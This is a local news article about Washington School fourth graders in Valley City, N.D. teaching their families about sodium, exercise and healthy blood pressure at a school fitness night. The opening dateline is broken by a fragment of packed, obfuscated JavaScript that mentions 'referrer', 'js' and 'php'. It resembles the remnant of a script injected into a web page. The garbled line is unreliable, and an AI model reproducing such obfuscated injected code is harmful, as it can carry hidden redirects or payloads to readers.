VALLEY ekyfd|var|u0026u|referrer|ezhba||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) The tables were turned when 4th grade students at Washington School became the teachers and taught their parents and grandparents what to do to maintain a healthy blood pressure at the Family Fun and Fitness Night.
The grade 4 teachers, including Natalie Boe, Dallas Dockter, Mary Halvorson, Becky Goven, and Tara Glandt, teamed up with Sharon Buhr and Andrea Winter, from CHI Mercy Health, plus Barnes ON THE MOVE Partnership to teach a unit on a healthy blood pressure, culminating in the Family Fun and Fitness Night held Thursday, March 5th. The American Heart Association was also a sponsor of the event through a regional grant.
The evening began when City County Health District nurses came and did blood pressures on all grade 4 students and teachers. Then Buhr and Winter came into the classrooms and taught about sodium. The classroom teachers and Lizabeth Lindteigen, PE instructor, then presented information to the grade 4 students on the benefits of exercise and more information on sodium to keep a healthy blood pressure.
At the Family Fun and Fitness Night, students provided lots of information for their parents and grandparents, plus served Strawberry Smoothies, low sodium potato soup and blueberry yogurt parfaits. They let the adults taste low sodium peanuts and compare a healthy homemade meal (with 250 mg sodium) with a typical fast food meal (with over 2400 mg sodium).
Students had demonstrations on the benefits of calcium for bones and blood pressure and challenged parents to set their own personal physical activity goal because exercise can definitely reduce the risk of developing high blood pressure.
The evening concluded with a drawing and a host of prizes given out with Holly Olauson winning the FitBit.
